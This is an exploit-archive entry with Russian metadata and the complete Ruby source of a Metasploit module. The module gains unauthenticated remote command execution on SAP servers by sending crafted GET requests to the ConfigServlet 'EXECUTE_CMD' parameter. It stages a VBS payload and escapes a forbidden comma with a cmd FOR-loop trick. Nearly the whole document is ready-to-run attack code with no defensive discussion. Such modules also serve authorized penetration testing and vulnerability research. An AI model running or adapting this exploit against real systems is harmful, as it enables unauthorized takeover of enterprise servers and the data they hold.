SAP ConfigServlet Remote Unauthenticated Payload Execution Exploit

Свойства

Дата публикации:
25.04.2013
Цель:
SAP
Тип воздействия:
Компрометация системы

Код

require 'msf/core'

class Metasploit3 < Msf::Exploit
    include Msf::Exploit::Remote::HttpClient
    include Msf::Exploit::CmdStagerVBS

    def initialize(info = {})
        super(update_info(info,
            'Name'            => 'SAP ConfigServlet OS Command Execution',
            'Description'     => %q{
                This module allows remote code execution via operating system commands through
                the SAP ConfigServlet without any authentication.
            },
            'Author'          =>
                [
                    'Dmitry Chastuhin', # Vulnerability discovery (based on the reference presentation)
                    'Andras Kabai' # Metasploit module
                ],
            'License'         => MSF_LICENSE,
            'References'      =>
                [
                    [ 'URL', 'http://erpscan.com/wp-content/uploads/2012/11/Breaking-SAP-Portal-HackerHalted-2012.pdf']
                ],
            'DisclosureDate' => 'Nov 01 2012', # Based on the reference presentation
            'Platform'       => 'win',
            'Targets'        =>
                [
                    [
                        'Windows generic',
                        {
                            'Arch' => ARCH_X86
                        }
                    ]
                ],
            'DefaultTarget'  => 0,
            'Privileged'     => false
            ))

        register_options(
            [
                Opt::RPORT(50000),
                OptString.new('TARGETURI', [ true, 'Path to ConfigServlet', '/ctc/servlet'])
            ], self.class)
    end

    def exploit
        print_status("#{rhost}:#{rport} - Exploiting remote system")
        uri = normalize_uri(target_uri.path, 'ConfigServlet')

        execute_cmdstager( { :linemax => 1500, :nodelete => true, :sap_configservlet_uri => uri })
    end

    def execute_command(cmd, opts)
        commands = cmd.split(/&/)
        commands.each do |command|
            if command.include?(".vbs") and command.include?(",")
                # becasue the comma is bad character and the VBS stager contains commas it is necessary to "create" commas withouth directly using them
                # using the following command line trick it is possible to echo commas into the right places
                command.gsub!(",", "%i")
                command = "cmd /c FOR /F \"usebackq tokens=2 delims=)\" %i IN (\`\"ping -n 1 127.0.0.1| findstr )\"\`) DO " + command
            else
                command = "cmd /c " + command
            end
            vprint_status("Attempting to execute: #{command}")
            send_evil_request(opts[:sap_configservlet_uri], command)
        end
    end
    
    def send_evil_request(uri, cmd)
        begin
            res = send_request_cgi(
                {
                    'uri' => uri,
                    'method' => 'GET',
                    'query' => 'param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=' + Rex::Text.uri_encode(cmd)
                })

            if !res or res.code != 200
                print_error("#{rhost}:#{rport} - Exploit failed.")
                fail_with(Exploit::Failure::UnexpectedReply)
            end
        rescue ::Rex::ConnectionError
            print_error("#{rhost}:#{rport} - Failed to connect to the server")
            fail_with(Exploit::Failure::Unreachable)
        end

        if res.body.include?("Process created")
            if target['Arch'] == ARCH_CMD
                print_good("#{rhost}:#{rport} - Exploited successfully\n")
                print_line("#{rhost}:#{rport} - Command: #{datastore['CMD']}\n")
                print_line("#{rhost}:#{rport} - Output: #{res.body}")
            end
        else
            print_error("#{rhost}:#{rport} - Exploit failed.")
            vprint_error("#{rhost}:#{rport} - Output: #{res.body}")
            fail_with(Exploit::Failure::PayloadFailed)
        end
    end
end

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